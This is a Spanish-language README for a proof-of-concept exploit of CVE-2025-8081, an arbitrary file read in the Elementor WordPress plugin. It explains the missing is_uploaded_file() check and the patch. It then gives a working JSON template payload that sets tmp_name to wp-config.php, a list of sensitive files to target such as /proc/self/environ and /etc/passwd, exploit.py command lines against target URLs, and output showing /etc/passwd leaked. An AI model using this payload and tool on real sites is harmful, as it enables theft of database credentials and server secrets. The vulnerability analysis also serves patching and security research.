
Prueba de concepto de exploit para CVE-2025-8081, una lectura arbitraria de archivos en el plugin Elementor de WordPress, que permite a administradores autenticados leer archivos sensibles como wp-config.php.
Una vulnerabilidad crítica de lectura arbitraria de archivos en el plugin de WordPress Elementor que permite a administradores autenticados leer cualquier archivo accesible por el servidor web, incluidos archivos de configuración sensibles que contienen credenciales de base de datos.
| Propiedad | Valor |
|---|
| ID CVE | CVE-2025-8081 |
| Tipo | Lectura Arbitraria de Archivos (CWE-22: Path Traversal) |
| Puntuación CVSS | 4.9 (Media) - Impacto Real: CRÍTICO |
| Vector CVSS | AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N |
| Versiones Afectadas | Elementor ≤ 3.30.2 |
| Versión Corregida | Elementor ≥ 3.30.3 |
| Fecha de Publicación | 22 de julio de 2025 |
| Fecha de Divulgación | 15 de octubre de 2025 |
wp-config.php revela credenciales de base de datos y claves de seguridadLa vulnerabilidad existe en un único archivo en una única línea:
elementor/includes/template-library/classes/class-import-images.php
Línea 115 (v3.28.3)
if ( isset( $attachment['tmp_name'] ) ) {
// Used when called to import a directly-uploaded file.
$filename = $attachment['name'];
$file_content = Utils::file_get_contents( $attachment['tmp_name'] ); // ❌ NO VALIDATION!
}
Problema: El parámetro tmp_name NO está validado con is_uploaded_file(), lo que permite a un atacante especificar rutas de archivo arbitrarias.
if ( isset( $attachment['tmp_name'] ) ) {
// Used when called to import a directly-uploaded file.
$filename = $attachment['name'];
$file_content = false;
// security validation in case the tmp_name has been tampered with
if ( is_uploaded_file( $attachment['tmp_name'] ) ) { // ✅ VALIDATION ADDED!
$file_content = Utils::file_get_contents( $attachment['tmp_name'] );
}
}
Corrección: El parche añade la validación is_uploaded_file() para garantizar que tmp_name se refiere a un archivo subido legítimamente mediante POST HTTP.
{
"content": [{
"id": "s1",
"elType": "section",
"settings": [],
"elements": [{
"id": "c1",
"elType": "column",
"settings": {"_column_size": 100},
"elements": [{
"id": "w1",
"elType": "widget",
"widgetType": "image",
"settings": {
"image": {
"url": "http://x.com/x.jpg",
"id": 1,
"tmp_name": "/var/www/html/wp-config.php",
"name": "leaked_config.txt"
}
},
"elements": []
}]
}]
}],
"version": "0.4",
"type": "page"
}
payload.json)leaked_config.txtResultado: ¡Contenido de wp-config.php con credenciales de base de datos expuesto!
| Archivo | Descripción | Impacto |
|---|---|---|
/var/www/html/wp-config.php | Configuración de WordPress | 🔴 CRÍTICO - Credenciales de BD |
/proc/self/environ | Variables de entorno | 🔴 CRÍTICO - Claves API, secretos |
| Archivo | Descripción | Impacto |
|---|---|---|
/etc/passwd | Usuarios del sistema | 🟠 ALTO - Enumeración de usuarios |
/var/www/html/.htaccess | Configuración del servidor web | 🟠 ALTO - Divulgación de configuración |
/var/log/apache2/access.log | Registros de Apache | 🟡 MEDIO - Divulgación de información |
python3 exploit.py -t https://target.com -u admin -p password123
Argumentos Requeridos:
-t, --target URL URL de WordPress objetivo (p. ej., https://target.com)
-u, --user USERNAME Nombre de usuario administrador de WordPress
-p, --password PASS Contraseña del administrador de WordPress
Argumentos Opcionales:
-f, --file PATH Archivo a leer (predeterminado: /var/www/html/wp-config.php)
-o, --output FILE Nombre del archivo de salida (predeterminado: generado automáticamente)
--insecure, -k Deshabilitar verificación de certificado SSL
-v, --verbose Habilitar salida detallada para depuración
-h, --help Mostrar mensaje de ayuda
# Explotación básica (lee wp-config.php con carga útil predeterminada)
python3 exploit.py -t http://target.com -u admin -p password123
# Archivo objetivo personalizado
python3 exploit.py -t http://target.com -u admin -p password123 -f /etc/passwd
# Con HTTPS y certificado autofirmado
python3 exploit.py -t https://target.com -u admin -p password123 --insecure
# Modo detallado con salida personalizada
python3 exploit.py -t http://target.com -u admin -p password123 \
-f /etc/passwd -o users.txt -v
# Desde OrbStack/Docker apuntando a la máquina host
python3 exploit.py -t http://host.internal:8080 -u admin -p password123 -v
Kali:~$ python3 exploit.py -t http://host.internal:8080 -u admin -p admin123 -f /etc/passwd
======================================================================
CVE-2025-8081 - Elementor Arbitrary File Read
======================================================================
Target: http://host.internal:8080
File: /etc/passwd
======================================================================
[INFO] Attempting WordPress authentication...
[SUCCESS] ✓ Authentication successful!
[INFO] Fetching AJAX nonce...
[INFO] Loading payload: payload.json
[INFO] Uploading malicious template...
[SUCCESS] ✓ Template uploaded successfully!
[INFO] Searching for leaked file: leaked_passwd.txt
[SUCCESS] ✓ Found file: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
[INFO] Downloading file...
[SUCCESS] ✓ Downloaded 839 bytes
======================================================================
EXPLOITATION SUCCESSFUL!
======================================================================
File URL: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
File size: 839 bytes
Saved to: leaked_passwd.txt
--- FILE CONTENT (first 500 chars) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
--- END ---
======================================================================
SOLO CON FINES EDUCATIVOS Y PRUEBAS AUTORIZADAS
Esta herramienta se proporciona únicamente con fines de investigación de seguridad y pruebas de penetración. El uso de esta herramienta para atacar objetivos sin consentimiento mutuo previo es ilegal.
Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables.
Al usar esta herramienta, usted acepta usarla de manera legal y ética.
Última Actualización: 17 de octubre de 2025